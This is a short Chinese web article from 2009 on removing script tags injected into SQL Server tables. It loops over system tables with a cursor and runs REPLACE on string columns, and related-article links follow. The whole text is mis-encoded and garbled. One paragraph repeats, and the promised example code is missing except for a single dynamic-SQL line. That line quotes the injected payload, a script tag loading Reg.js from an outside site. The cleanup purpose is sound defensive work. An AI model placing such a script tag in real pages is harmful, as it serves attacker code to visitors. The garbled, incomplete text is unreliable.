sql 批量修改數(shù)據(jù)庫表
更新時(shí)間:2009年01月21日 23:49:19 作者:
通過sysobjects和syscolumns系統(tǒng)表,找到每個(gè)表的每個(gè)列,如果列類型是字符串類型的,比如varchar、nvarchar等,利用游標(biāo),對(duì)這些列進(jìn)行更新。
下邊寫了個(gè)例子,你需要修改的地方
a.xtype in(167,231) 167和231是從systypes系統(tǒng)表中查找到的varchar和nvarchar列的xtype值,如果有其他類型的列也被注入了,根據(jù)情況在添加到167和231的后邊。
還有,更新語句
set @sqlstr='update ['+@tname+'] set ['+@colname+']=replace(['+@colname+'],''<script src=http://w<script src=http://www.chliyi.com/Reg.js></script>'','''')'
中的<script>...</script>那一塊根據(jù)實(shí)際被注入的內(nèi)容修改。
a.xtype in(167,231) 167和231是從systypes系統(tǒng)表中查找到的varchar和nvarchar列的xtype值,如果有其他類型的列也被注入了,根據(jù)情況在添加到167和231的后邊。
還有,更新語句
set @sqlstr='update ['+@tname+'] set ['+@colname+']=replace(['+@colname+'],''<script src=http://w<script src=http://www.chliyi.com/Reg.js></script>'','''')'
中的<script>...</script>那一塊根據(jù)實(shí)際被注入的內(nèi)容修改。
相關(guān)文章
SQL Server 2012 多表連接查詢功能實(shí)例代碼
這篇文章主要介紹了SQL Server 2012 多表連接查詢功能實(shí)例代碼,需要的朋友可以參考下2017-01-01
查詢SQLServer啟動(dòng)時(shí)間的三種方法
這篇文章主要介紹了查詢SQLServer啟動(dòng)時(shí)間的三種方法,本文直接給出查詢示例,需要的朋友可以參考下2015-07-07
SQL有外連接的時(shí)候注意過濾條件位置否則會(huì)導(dǎo)致網(wǎng)頁慢
這個(gè)SQL之所以跑得慢是因?yàn)殚_發(fā)人員把SQL的條件寫錯(cuò)位置了2013-05-05
正確的寫法應(yīng)該是下面這樣的,感興趣的朋友可以參考下
SQL?Server數(shù)據(jù)庫數(shù)據(jù)文件的遷移步驟
最近有朋友問我如何將一臺(tái)電腦中的SQL Server數(shù)據(jù)庫數(shù)據(jù)文件遷移到另一臺(tái)電腦上,在這給大家分享SQL?Server數(shù)據(jù)庫數(shù)據(jù)文件的遷移步驟,感興趣的朋友一起看看吧2024-03-03
SQL SERVER修改函數(shù)名容易引發(fā)的問題分析
這篇文章主要介紹了SQL SERVER修改函數(shù)名容易引發(fā)的問題分析的相關(guān)資料,需要的朋友可以參考下2016-02-02

